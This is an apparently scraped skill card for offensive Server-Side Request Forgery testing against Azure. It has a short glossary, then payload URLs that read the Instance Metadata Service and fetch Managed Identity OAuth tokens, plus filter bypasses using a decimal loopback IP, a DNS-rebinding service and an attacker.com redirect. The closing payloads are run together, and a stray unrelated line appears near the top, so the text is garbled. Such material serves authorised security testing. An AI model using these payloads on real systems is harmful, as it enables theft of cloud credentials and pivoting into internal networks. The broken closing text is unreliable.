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Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).
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基于 SOC 职业分类
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| name | offensive-ssrf |
| description | Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities). |
| domain | cybersecurity |
| subdomain | web-security |
| tags | ["ssrf","azure","imds","metadata-service","web-security"] |
| version | 1.0 |
| author | openshield |
| license | Apache-2.0 |
| nist_csf | ["PR.AC-3","PR.AC-5","SC-7","PR.DS-1","DE.CM-1"] |
| Term | Definition |
|---|---|
| IMDS | Instance Metadata Service, reachable at 169.254.169.254 in Azure |
| Blind SSRF | A vulnerability where the server makes a request but does not return the content to the attacker |
| DNS Rebinding | A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack |
| Out-of-Band (OOB) | Using an external server (e.g., Burp Collaborator) to detect triggered requests |
Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.
# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true
# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://2130706433/ (Decimal for 127.0.0.1)rbndr.ushttp://attacker.com/redirect?url=http://127.0.0.1:8080Metadata: true.